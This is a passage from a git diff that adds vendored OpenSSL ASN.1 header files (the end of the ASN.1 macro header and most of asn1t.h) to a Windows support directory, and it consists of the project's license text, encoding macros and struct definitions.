\ + ret+=i2d_ASN1_SET(a,NULL,f,x,V_ASN1_CONTEXT_SPECIFIC, \ + IS_SEQUENCE); + +#define M_ASN1_I2D_len_IMP_SEQUENCE_opt(a,f,x) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + ret+=i2d_ASN1_SET(a,NULL,f,x,V_ASN1_CONTEXT_SPECIFIC, \ + IS_SEQUENCE); + +#define M_ASN1_I2D_len_IMP_SEQUENCE_opt_type(type,a,f,x) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + ret+=i2d_ASN1_SET_OF_##type(a,NULL,f,x, \ + V_ASN1_CONTEXT_SPECIFIC, \ + IS_SEQUENCE); + +#define M_ASN1_I2D_len_EXP_opt(a,f,mtag,v) \ + if (a != NULL)\ + { \ + v=f(a,NULL); \ + ret+=ASN1_object_size(1,v,mtag); \ + } + +#define M_ASN1_I2D_len_EXP_SET_opt(a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_num(a) != 0))\ + { \ + v=i2d_ASN1_SET(a,NULL,f,tag,V_ASN1_UNIVERSAL,IS_SET); \ + ret+=ASN1_object_size(1,v,mtag); \ + } + +#define M_ASN1_I2D_len_EXP_SEQUENCE_opt(a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_num(a) != 0))\ + { \ + v=i2d_ASN1_SET(a,NULL,f,tag,V_ASN1_UNIVERSAL, \ + IS_SEQUENCE); \ + ret+=ASN1_object_size(1,v,mtag); \ + } + +#define M_ASN1_I2D_len_EXP_SEQUENCE_opt_type(type,a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_##type##_num(a) != 0))\ + { \ + v=i2d_ASN1_SET_OF_##type(a,NULL,f,tag, \ + V_ASN1_UNIVERSAL, \ + IS_SEQUENCE); \ + ret+=ASN1_object_size(1,v,mtag); \ + } + +/* Put Macros */ +#define M_ASN1_I2D_put(a,f) f(a,&p) + +#define M_ASN1_I2D_put_IMP_opt(a,f,t) \ + if (a != NULL) \ + { \ + unsigned char *q=p; \ + f(a,&p); \ + *q=(V_ASN1_CONTEXT_SPECIFIC|t|(*q&V_ASN1_CONSTRUCTED));\ + } + +#define M_ASN1_I2D_put_SET(a,f) i2d_ASN1_SET(a,&p,f,V_ASN1_SET,\ + V_ASN1_UNIVERSAL,IS_SET) +#define M_ASN1_I2D_put_SET_type(type,a,f) \ + i2d_ASN1_SET_OF_##type(a,&p,f,V_ASN1_SET,V_ASN1_UNIVERSAL,IS_SET) +#define M_ASN1_I2D_put_IMP_SET(a,f,x) i2d_ASN1_SET(a,&p,f,x,\ + V_ASN1_CONTEXT_SPECIFIC,IS_SET) +#define M_ASN1_I2D_put_IMP_SET_type(type,a,f,x) \ + i2d_ASN1_SET_OF_##type(a,&p,f,x,V_ASN1_CONTEXT_SPECIFIC,IS_SET) +#define M_ASN1_I2D_put_IMP_SEQUENCE(a,f,x) i2d_ASN1_SET(a,&p,f,x,\ + V_ASN1_CONTEXT_SPECIFIC,IS_SEQUENCE) + +#define M_ASN1_I2D_put_SEQUENCE(a,f) i2d_ASN1_SET(a,&p,f,V_ASN1_SEQUENCE,\ + V_ASN1_UNIVERSAL,IS_SEQUENCE) + +#define M_ASN1_I2D_put_SEQUENCE_type(type,a,f) \ + i2d_ASN1_SET_OF_##type(a,&p,f,V_ASN1_SEQUENCE,V_ASN1_UNIVERSAL, \ + IS_SEQUENCE) + +#define M_ASN1_I2D_put_SEQUENCE_opt(a,f) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + M_ASN1_I2D_put_SEQUENCE(a,f); + +#define M_ASN1_I2D_put_IMP_SET_opt(a,f,x) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + { i2d_ASN1_SET(a,&p,f,x,V_ASN1_CONTEXT_SPECIFIC, \ + IS_SET); } + +#define M_ASN1_I2D_put_IMP_SET_opt_type(type,a,f,x) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + { i2d_ASN1_SET_OF_##type(a,&p,f,x, \ + V_ASN1_CONTEXT_SPECIFIC, \ + IS_SET); } + +#define M_ASN1_I2D_put_IMP_SEQUENCE_opt(a,f,x) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + { i2d_ASN1_SET(a,&p,f,x,V_ASN1_CONTEXT_SPECIFIC, \ + IS_SEQUENCE); } + +#define M_ASN1_I2D_put_IMP_SEQUENCE_opt_type(type,a,f,x) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + { i2d_ASN1_SET_OF_##type(a,&p,f,x, \ + V_ASN1_CONTEXT_SPECIFIC, \ + IS_SEQUENCE); } + +#define M_ASN1_I2D_put_EXP_opt(a,f,tag,v) \ + if (a != NULL) \ + { \ + ASN1_put_object(&p,1,v,tag,V_ASN1_CONTEXT_SPECIFIC); \ + f(a,&p); \ + } + +#define M_ASN1_I2D_put_EXP_SET_opt(a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + { \ + ASN1_put_object(&p,1,v,mtag,V_ASN1_CONTEXT_SPECIFIC); \ + i2d_ASN1_SET(a,&p,f,tag,V_ASN1_UNIVERSAL,IS_SET); \ + } + +#define M_ASN1_I2D_put_EXP_SEQUENCE_opt(a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + { \ + ASN1_put_object(&p,1,v,mtag,V_ASN1_CONTEXT_SPECIFIC); \ + i2d_ASN1_SET(a,&p,f,tag,V_ASN1_UNIVERSAL,IS_SEQUENCE); \ + } + +#define M_ASN1_I2D_put_EXP_SEQUENCE_opt_type(type,a,f,mtag,tag,v) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + { \ + ASN1_put_object(&p,1,v,mtag,V_ASN1_CONTEXT_SPECIFIC); \ + i2d_ASN1_SET_OF_##type(a,&p,f,tag,V_ASN1_UNIVERSAL, \ + IS_SEQUENCE); \ + } + +#define M_ASN1_I2D_seq_total() \ + r=ASN1_object_size(1,ret,V_ASN1_SEQUENCE); \ + if (pp == NULL) return(r); \ + p= *pp; \ + ASN1_put_object(&p,1,ret,V_ASN1_SEQUENCE,V_ASN1_UNIVERSAL) + +#define M_ASN1_I2D_INF_seq_start(tag,ctx) \ + *(p++)=(V_ASN1_CONSTRUCTED|(tag)|(ctx)); \ + *(p++)=0x80 + +#define M_ASN1_I2D_INF_seq_end() *(p++)=0x00; *(p++)=0x00 + +#define M_ASN1_I2D_finish() *pp=p; \ + return(r); + +int asn1_GetSequence(ASN1_const_CTX *c, long *length); +void asn1_add_error(const unsigned char *address,int offset); +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/asn1t.h b/winstuff/openssl/asn1t.h new file mode 100644 index 0000000..ac14f94 --- /dev/null +++ b/winstuff/openssl/asn1t.h @@ -0,0 +1,893 @@ +/* asn1t.h */ +/* Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL + * project 2000. + */ +/* ==================================================================== + * Copyright (c) 2000 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +#ifndef HEADER_ASN1T_H +#define HEADER_ASN1T_H + +#include +#include +#include + +#ifdef OPENSSL_BUILD_SHLIBCRYPTO +# undef OPENSSL_EXTERN +# define OPENSSL_EXTERN OPENSSL_EXPORT +#endif + +/* ASN1 template defines, structures and functions */ + +#ifdef __cplusplus +extern "C" { +#endif + + +#ifndef OPENSSL_EXPORT_VAR_AS_FUNCTION + +/* Macro to obtain ASN1_ADB pointer from a type (only used internally) */ +#define ASN1_ADB_ptr(iptr) ((const ASN1_ADB *)(iptr)) + + +/* Macros for start and end of ASN1_ITEM definition */ + +#define ASN1_ITEM_start(itname) \ + OPENSSL_GLOBAL const ASN1_ITEM itname##_it = { + +#define ASN1_ITEM_end(itname) \ + }; + +#else + +/* Macro to obtain ASN1_ADB pointer from a type (only used internally) */ +#define ASN1_ADB_ptr(iptr) ((const ASN1_ADB *)(iptr())) + + +/* Macros for start and end of ASN1_ITEM definition */ + +#define ASN1_ITEM_start(itname) \ + const ASN1_ITEM * itname##_it(void) \ + { \ + static const ASN1_ITEM local_it = { + +#define ASN1_ITEM_end(itname) \ + }; \ + return &local_it; \ + } + +#endif + + +/* Macros to aid ASN1 template writing */ + +#define ASN1_ITEM_TEMPLATE(tname) \ + static const ASN1_TEMPLATE tname##_item_tt + +#define ASN1_ITEM_TEMPLATE_END(tname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_PRIMITIVE,\ + -1,\ + &tname##_item_tt,\ + 0,\ + NULL,\ + 0,\ + #tname \ + ASN1_ITEM_end(tname) + + +/* This is a ASN1 type which just embeds a template */ + +/* This pair helps declare a SEQUENCE. We can do: + * + * ASN1_SEQUENCE(stname) = { + * ... SEQUENCE components ... + * } ASN1_SEQUENCE_END(stname) + * + * This will produce an ASN1_ITEM called stname_it + * for a structure called stname. + * + * If you want the same structure but a different + * name then use: + * + * ASN1_SEQUENCE(itname) = { + * ... SEQUENCE components ... + * } ASN1_SEQUENCE_END_name(stname, itname) + * + * This will create an item called itname_it using + * a structure called stname. + */ + +#define ASN1_SEQUENCE(tname) \ + static const ASN1_TEMPLATE tname##_seq_tt[] + +#define ASN1_SEQUENCE_END(stname) ASN1_SEQUENCE_END_name(stname, stname) + +#define ASN1_SEQUENCE_END_name(stname, tname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_SEQUENCE,\ + V_ASN1_SEQUENCE,\ + tname##_seq_tt,\ + sizeof(tname##_seq_tt) / sizeof(ASN1_TEMPLATE),\ + NULL,\ + sizeof(stname),\ + #stname \ + ASN1_ITEM_end(tname) + +#define ASN1_NDEF_SEQUENCE(tname) \ + ASN1_SEQUENCE(tname) + +#define ASN1_NDEF_SEQUENCE_cb(tname, cb) \ + ASN1_SEQUENCE_cb(tname, cb) + +#define ASN1_SEQUENCE_cb(tname, cb) \ + static const ASN1_AUX tname##_aux = {NULL, 0, 0, 0, cb, 0}; \ + ASN1_SEQUENCE(tname) + +#define ASN1_BROKEN_SEQUENCE(tname) \ + static const ASN1_AUX tname##_aux = {NULL, ASN1_AFLG_BROKEN, 0, 0, 0, 0}; \ + ASN1_SEQUENCE(tname) + +#define ASN1_SEQUENCE_ref(tname, cb, lck) \ + static const ASN1_AUX tname##_aux = {NULL, ASN1_AFLG_REFCOUNT, offsetof(tname, references), lck, cb, 0}; \ + ASN1_SEQUENCE(tname) + +#define ASN1_SEQUENCE_enc(tname, enc, cb) \ + static const ASN1_AUX tname##_aux = {NULL, ASN1_AFLG_ENCODING, 0, 0, cb, offsetof(tname, enc)}; \ + ASN1_SEQUENCE(tname) + +#define ASN1_NDEF_SEQUENCE_END(tname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_NDEF_SEQUENCE,\ + V_ASN1_SEQUENCE,\ + tname##_seq_tt,\ + sizeof(tname##_seq_tt) / sizeof(ASN1_TEMPLATE),\ + NULL,\ + sizeof(tname),\ + #tname \ + ASN1_ITEM_end(tname) + +#define ASN1_BROKEN_SEQUENCE_END(stname) ASN1_SEQUENCE_END_ref(stname, stname) + +#define ASN1_SEQUENCE_END_enc(stname, tname) ASN1_SEQUENCE_END_ref(stname, tname) + +#define ASN1_SEQUENCE_END_cb(stname, tname) ASN1_SEQUENCE_END_ref(stname, tname) + +#define ASN1_SEQUENCE_END_ref(stname, tname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_SEQUENCE,\ + V_ASN1_SEQUENCE,\ + tname##_seq_tt,\ + sizeof(tname##_seq_tt) / sizeof(ASN1_TEMPLATE),\ + &tname##_aux,\ + sizeof(stname),\ + #stname \ + ASN1_ITEM_end(tname) + + +/* This pair helps declare a CHOICE type. We can do: + * + * ASN1_CHOICE(chname) = { + * ... CHOICE options ... + * ASN1_CHOICE_END(chname) + * + * This will produce an ASN1_ITEM called chname_it + * for a structure called chname. The structure + * definition must look like this: + * typedef struct { + * int type; + * union { + * ASN1_SOMETHING *opt1; + * ASN1_SOMEOTHER *opt2; + * } value; + * } chname; + * + * the name of the selector must be 'type'. + * to use an alternative selector name use the + * ASN1_CHOICE_END_selector() version. + */ + +#define ASN1_CHOICE(tname) \ + static const ASN1_TEMPLATE tname##_ch_tt[] + +#define ASN1_CHOICE_cb(tname, cb) \ + static const ASN1_AUX tname##_aux = {NULL, 0, 0, 0, cb, 0}; \ + ASN1_CHOICE(tname) + +#define ASN1_CHOICE_END(stname) ASN1_CHOICE_END_name(stname, stname) + +#define ASN1_CHOICE_END_name(stname, tname) ASN1_CHOICE_END_selector(stname, tname, type) + +#define ASN1_CHOICE_END_selector(stname, tname, selname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_CHOICE,\ + offsetof(stname,selname) ,\ + tname##_ch_tt,\ + sizeof(tname##_ch_tt) / sizeof(ASN1_TEMPLATE),\ + NULL,\ + sizeof(stname),\ + #stname \ + ASN1_ITEM_end(tname) + +#define ASN1_CHOICE_END_cb(stname, tname, selname) \ + ;\ + ASN1_ITEM_start(tname) \ + ASN1_ITYPE_CHOICE,\ + offsetof(stname,selname) ,\ + tname##_ch_tt,\ + sizeof(tname##_ch_tt) / sizeof(ASN1_TEMPLATE),\ + &tname##_aux,\ + sizeof(stname),\ + #stname \ + ASN1_ITEM_end(tname) + +/* This helps with the template wrapper form of ASN1_ITEM */ + +#define ASN1_EX_TEMPLATE_TYPE(flags, tag, name, type) { \ + (flags), (tag), 0,\ + #name, ASN1_ITEM_ref(type) } + +/* These help with SEQUENCE or CHOICE components */ + +/* used to declare other types */ + +#define ASN1_EX_TYPE(flags, tag, stname, field, type) { \ + (flags), (tag), offsetof(stname, field),\ + #field, ASN1_ITEM_ref(type) } + +/* used when the structure is combined with the parent */ + +#define ASN1_EX_COMBINE(flags, tag, type) { \ + (flags)|ASN1_TFLG_COMBINE, (tag), 0, NULL, ASN1_ITEM_ref(type) } + +/* implicit and explicit helper macros */ + +#define ASN1_IMP_EX(stname, field, type, tag, ex) \ + ASN1_EX_TYPE(ASN1_TFLG_IMPLICIT | ex, tag, stname, field, type) + +#define ASN1_EXP_EX(stname, field, type, tag, ex) \ + ASN1_EX_TYPE(ASN1_TFLG_EXPLICIT | ex, tag, stname, field, type) + +/* Any defined by macros: the field used is in the table itself */ + +#ifndef OPENSSL_EXPORT_VAR_AS_FUNCTION +#define ASN1_ADB_OBJECT(tblname) { ASN1_TFLG_ADB_OID, -1, 0, #tblname, (const ASN1_ITEM *)&(tblname##_adb) } +#define ASN1_ADB_INTEGER(tblname) { ASN1_TFLG_ADB_INT, -1, 0, #tblname, (const ASN1_ITEM *)&(tblname##_adb) } +#else +#define ASN1_ADB_OBJECT(tblname) { ASN1_TFLG_ADB_OID, -1, 0, #tblname, tblname##_adb } +#define ASN1_ADB_INTEGER(tblname) { ASN1_TFLG_ADB_INT, -1, 0, #tblname, tblname##_adb } +#endif +/* Plain simple type */ +#define ASN1_SIMPLE(stname, field, type) ASN1_EX_TYPE(0,0, stname, field, type) + +/* OPTIONAL simple type */ +#define ASN1_OPT(stname, field, type) ASN1_EX_TYPE(ASN1_TFLG_OPTIONAL, 0, stname, field, type) + +/* IMPLICIT tagged simple type */ +#define ASN1_IMP(stname, field, type, tag) ASN1_IMP_EX(stname, field, type, tag, 0) + +/* IMPLICIT tagged OPTIONAL simple type */ +#define ASN1_IMP_OPT(stname, field, type, tag) ASN1_IMP_EX(stname, field, type, tag, ASN1_TFLG_OPTIONAL) + +/* Same as above but EXPLICIT */ + +#define ASN1_EXP(stname, field, type, tag) ASN1_EXP_EX(stname, field, type, tag, 0) +#define ASN1_EXP_OPT(stname, field, type, tag) ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_OPTIONAL) + +/* SEQUENCE OF type */ +#define ASN1_SEQUENCE_OF(stname, field, type) \ + ASN1_EX_TYPE(ASN1_TFLG_SEQUENCE_OF, 0, stname, field, type) + +/* OPTIONAL SEQUENCE OF */ +#define ASN1_SEQUENCE_OF_OPT(stname, field, type) \ + ASN1_EX_TYPE(ASN1_TFLG_SEQUENCE_OF|ASN1_TFLG_OPTIONAL, 0, stname, field, type) + +/* Same as above but for SET OF */ + +#define ASN1_SET_OF(stname, field, type) \ + ASN1_EX_TYPE(ASN1_TFLG_SET_OF, 0, stname, field, type) + +#define ASN1_SET_OF_OPT(stname, field, type) \ + ASN1_EX_TYPE(ASN1_TFLG_SET_OF|ASN1_TFLG_OPTIONAL, 0, stname, field, type) + +/* Finally compound types of SEQUENCE, SET, IMPLICIT, EXPLICIT and OPTIONAL */ + +#define ASN1_IMP_SET_OF(stname, field, type, tag) \ + ASN1_IMP_EX(stname, field, type, tag, ASN1_TFLG_SET_OF) + +#define ASN1_EXP_SET_OF(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_SET_OF) + +#define ASN1_IMP_SET_OF_OPT(stname, field, type, tag) \ + ASN1_IMP_EX(stname, field, type, tag, ASN1_TFLG_SET_OF|ASN1_TFLG_OPTIONAL) + +#define ASN1_EXP_SET_OF_OPT(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_SET_OF|ASN1_TFLG_OPTIONAL) + +#define ASN1_IMP_SEQUENCE_OF(stname, field, type, tag) \ + ASN1_IMP_EX(stname, field, type, tag, ASN1_TFLG_SEQUENCE_OF) + +#define ASN1_IMP_SEQUENCE_OF_OPT(stname, field, type, tag) \ + ASN1_IMP_EX(stname, field, type, tag, ASN1_TFLG_SEQUENCE_OF|ASN1_TFLG_OPTIONAL) + +#define ASN1_EXP_SEQUENCE_OF(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_SEQUENCE_OF) + +#define ASN1_EXP_SEQUENCE_OF_OPT(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_SEQUENCE_OF|ASN1_TFLG_OPTIONAL) + +/* EXPLICIT using indefinite length constructed form */ +#define ASN1_NDEF_EXP(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_NDEF) + +/* EXPLICIT OPTIONAL using indefinite length constructed form */ +#define ASN1_NDEF_EXP_OPT(stname, field, type, tag) \ + ASN1_EXP_EX(stname, field, type, tag, ASN1_TFLG_OPTIONAL|ASN1_TFLG_NDEF) + +/* Macros for the ASN1_ADB structure */ + +#define ASN1_ADB(name) \ + static const ASN1_ADB_TABLE name##_adbtbl[] + +#ifndef OPENSSL_EXPORT_VAR_AS_FUNCTION + +#define ASN1_ADB_END(name, flags, field, app_table, def, none) \ + ;\ + static const ASN1_ADB name##_adb = {\ + flags,\ + offsetof(name, field),\ + app_table,\ + name##_adbtbl,\ + sizeof(name##_adbtbl) / sizeof(ASN1_ADB_TABLE),\ + def,\ + none\ + } + +#else + +#define ASN1_ADB_END(name, flags, field, app_table, def, none) \ + ;\ + static const ASN1_ITEM *name##_adb(void) \ + { \ + static const ASN1_ADB internal_adb = \ + {\ + flags,\ + offsetof(name, field),\ + app_table,\ + name##_adbtbl,\ + sizeof(name##_adbtbl) / sizeof(ASN1_ADB_TABLE),\ + def,\ + none\ + }; \ + return (const ASN1_ITEM *) &internal_adb; \ + } \ + void dummy_function(void) + +#endif + +#define ADB_ENTRY(val, template) {val, template} + +#define ASN1_ADB_TEMPLATE(name) \ + static const ASN1_TEMPLATE name##_tt + +/* This is the ASN1 template structure that defines + * a wrapper round the actual type. It determines the + * actual position of the field in the value structure, + * various flags such as OPTIONAL and the field name. + */ + +struct ASN1_TEMPLATE_st { +unsigned long flags; /* Various flags */ +long tag; /* tag, not used if no tagging */ +unsigned long offset; /* Offset of this field in structure */ +#ifndef NO_ASN1_FIELD_NAMES +const char *field_name; /* Field name */ +#endif +ASN1_ITEM_EXP *item; /* Relevant ASN1_ITEM or ASN1_ADB */ +}; + +/* Macro to extract ASN1_ITEM and ASN1_ADB pointer from ASN1_TEMPLATE */ + +#define ASN1_TEMPLATE_item(t) (t->item_ptr) +#define ASN1_TEMPLATE_adb(t) (t->item_ptr) + +typedef struct ASN1_ADB_TABLE_st ASN1_ADB_TABLE; +typedef struct ASN1_ADB_st ASN1_ADB; + +struct ASN1_ADB_st { + unsigned long flags; /* Various flags */ + unsigned long offset; /* Offset of selector field */ + STACK_OF(ASN1_ADB_TABLE) **app_items; /* Application defined items */ + const ASN1_ADB_TABLE *tbl; /* Table of possible types */ + long tblcount; /* Number of entries in tbl */ + const ASN1_TEMPLATE *default_tt; /* Type to use if no match */ + const ASN1_TEMPLATE *null_tt; /* Type to use if selector is NULL */ +}; + +struct ASN1_ADB_TABLE_st { + long value; /* NID for an object or value for an int */ + const ASN1_TEMPLATE tt; /* item for this value */ +}; + +/* template flags */ + +/* Field is optional */ +#define ASN1_TFLG_OPTIONAL (0x1) + +/* Field is a SET OF */ +#define ASN1_TFLG_SET_OF (0x1 << 1) + +/* Field is a SEQUENCE OF */ +#define ASN1_TFLG_SEQUENCE_OF (0x2 << 1) + +/* Special case: this refers to a SET OF that + * will be sorted into DER order when encoded *and* + * the corresponding STACK will be modified to match + * the new order. + */ +#define ASN1_TFLG_SET_ORDER (0x3 << 1) + +/* Mask for SET OF or SEQUENCE OF */ +#define ASN1_TFLG_SK_MASK (0x3 << 1) + +/* These flags mean the tag should be taken from the + * tag field. If EXPLICIT then the underlying type + * is used for the inner tag. + */ + +/* IMPLICIT tagging */ +#define ASN1_TFLG_IMPTAG (0x1 << 3) + + +/* EXPLICIT tagging, inner tag from underlying type */ +#define ASN1_TFLG_EXPTAG (0x2 << 3) + +#define ASN1_TFLG_TAG_MASK (0x3 << 3) + +/* context specific IMPLICIT */ +#define ASN1_TFLG_IMPLICIT ASN1_TFLG_IMPTAG|ASN1_TFLG_CONTEXT + +/* context specific EXPLICIT */ +#define ASN1_TFLG_EXPLICIT ASN1_TFLG_EXPTAG|ASN1_TFLG_CONTEXT + +/* If tagging is in force these determine the + * type of tag to use. Otherwise the tag is + * determined by the underlying type. These + * values reflect the actual octet format. + */ + +/* Universal tag */ +#define ASN1_TFLG_UNIVERSAL (0x0<<6) +/* Application tag */ +#define ASN1_TFLG_APPLICATION (0x1<<6) +/* Context specific tag */ +#define ASN1_TFLG_CONTEXT (0x2<<6) +/* Private tag */ +#define ASN1_TFLG_PRIVATE (0x3<<6) + +#define ASN1_TFLG_TAG_CLASS (0x3<<6) + +/* These are for ANY DEFINED BY type. In this case + * the 'item' field points to an ASN1_ADB structure + * which contains a table of values to decode the + * relevant type + */ + +#define ASN1_TFLG_ADB_MASK (0x3<<8) + +#define ASN1_TFLG_ADB_OID (0x1<<8) + +#define ASN1_TFLG_ADB_INT (0x1<<9) + +/* This flag means a parent structure is passed + * instead of the field: this is useful is a + * SEQUENCE is being combined with a CHOICE for + * example. Since this means the structure and + * item name will differ we need to use the + * ASN1_CHOICE_END_name() macro for example. + */ + +#define ASN1_TFLG_COMBINE (0x1<<10) + +/* This flag when present in a SEQUENCE OF, SET OF + * or EXPLICIT causes indefinite length constructed + * encoding to be used if required. + */ + +#define ASN1_TFLG_NDEF (0x1<<11) + +/* This is the actual ASN1 item itself */ + +struct ASN1_ITEM_st { +char itype; /* The item type, primitive, SEQUENCE, CHOICE or extern */ +long utype; /* underlying type */ +const ASN1_TEMPLATE *templates; /* If SEQUENCE or CHOICE this contains the contents */ +long tcount; /* Number of templates if SEQUENCE or CHOICE */ +const void *funcs; /* functions that handle this type */ +long size; /* Structure size (usually)*/ +#ifndef NO_ASN1_FIELD_NAMES +const char *sname; /* Structure name */ +#endif +}; + +/* These are values for the itype field and + * determine how the type is interpreted. + * + * For PRIMITIVE types the underlying type + * determines the behaviour if items is NULL. + * + * Otherwise templates must contain a single + * template and the type is treated in the + * same way as the type specified in the template. + * + * For SEQUENCE types the templates field points + * to the members, the size field is the + * structure size. + * + * For CHOICE types the templates field points + * to each possible member (typically a union) + * and the 'size' field is the offset of the + * selector. + * + * The 'funcs' field is used for application + * specific functions. + * + * For COMPAT types the funcs field gives a + * set of functions that handle this type, this + * supports the old d2i, i2d convention. + * + * The EXTERN type uses a new style d2i/i2d. + * The new style should be used where possible + * because it avoids things like the d2i IMPLICIT + * hack. + * + * MSTRING is a multiple string type, it is used + * for a CHOICE of character strings where the + * actual strings all occupy an ASN1_STRING + * structure. In this case the 'utype' field + * has a special meaning, it is used as a mask + * of acceptable types using the B_ASN1 constants. + * + * NDEF_SEQUENCE is the same as SEQUENCE except + * that it will use indefinite length constructed + * encoding if requested. + * + */ + +#define ASN1_ITYPE_PRIMITIVE 0x0 + +#define ASN1_ITYPE_SEQUENCE 0x1 + +#define ASN1_ITYPE_CHOICE 0x2 + +#define ASN1_ITYPE_COMPAT 0x3 + +#define ASN1_ITYPE_EXTERN 0x4 + +#define ASN1_ITYPE_MSTRING 0x5 + +#define ASN1_ITYPE_NDEF_SEQUENCE 0x6 + +/* Cache for ASN1 tag and length, so we + * don't keep re-reading it for things + * like CHOICE + */ + +struct ASN1_TLC_st{ + char valid; /* Values below are valid */ + int ret; /* return value */ + long plen; /* length */ + int ptag; /* class value */ + int pclass; /* class value */ + int hdrlen; /* header length */ +}; + +/* Typedefs for ASN1 function pointers */ + +typedef ASN1_VALUE * ASN1_new_func(void); +typedef void ASN1_free_func(ASN1_VALUE *a); +typedef ASN1_VALUE * ASN1_d2i_func(ASN1_VALUE **a, const unsigned char ** in, long length); +typedef int ASN1_i2d_func(ASN1_VALUE * a, unsigned char **in); + +typedef int ASN1_ex_d2i(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_ITEM *it, + int tag, int aclass, char opt, ASN1_TLC *ctx); + +typedef int ASN1_ex_i2d(ASN1_VALUE **pval, unsigned char **out, const ASN1_ITEM *it, int tag, int aclass); +typedef int ASN1_ex_new_func(ASN1_VALUE **pval, const ASN1_ITEM *it); +typedef void ASN1_ex_free_func(ASN1_VALUE **pval, const ASN1_ITEM *it); + +typedef int ASN1_primitive_i2c(ASN1_VALUE **pval, unsigned char *cont, int *putype, const ASN1_ITEM *it); +typedef int ASN1_primitive_c2i(ASN1_VALUE **pval, const unsigned char *cont, int len, int utype, char *free_cont, const ASN1_ITEM *it); + +typedef struct ASN1_COMPAT_FUNCS_st { + ASN1_new_func *asn1_new; + ASN1_free_func *asn1_free; + ASN1_d2i_func *asn1_d2i; + ASN1_i2d_func *asn1_i2d; +} ASN1_COMPAT_FUNCS; + +typedef struct ASN1_EXTERN_FUNCS_st { + void *app_data; + ASN1_ex_new_func *asn1_ex_new; + ASN1_ex_free_func *asn1_ex_free; + ASN1_ex_free_func *asn1_ex_clear; + ASN1_ex_d2i *asn1_ex_d2i; + ASN1_ex_i2d *asn1_ex_i2d; +} ASN1_EXTERN_FUNCS; + +typedef struct ASN1_PRIMITIVE_FUNCS_st { + void *app_data; + unsigned long flags; + ASN1_ex_new_func *prim_new; + ASN1_ex_free_func *prim_free; + ASN1_ex_free_func *prim_clear; + ASN1_primitive_c2i *prim_c2i; + ASN1_primitive_i2c *prim_i2c; +} ASN1_PRIMITIVE_FUNCS; + +/* This is the ASN1_AUX structure: it handles various + * miscellaneous requirements. For example the use of + * reference counts and an informational callback. + * + * The "informational callback" is called at various + * points during the ASN1 encoding and decoding. It can + * be used to provide minor customisation of the structures + * used. This is most useful where the supplied routines + * *almost* do the right thing but need some extra help + * at a few points. If the callback returns zero then + * it is assumed a fatal error has occurred and the + * main operation should be abandoned. + * + * If major changes in the default behaviour are required + * then an external type is more appropriate. + */ + +typedef int ASN1_aux_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it); + +typedef struct ASN1_AUX_st { + void *app_data; 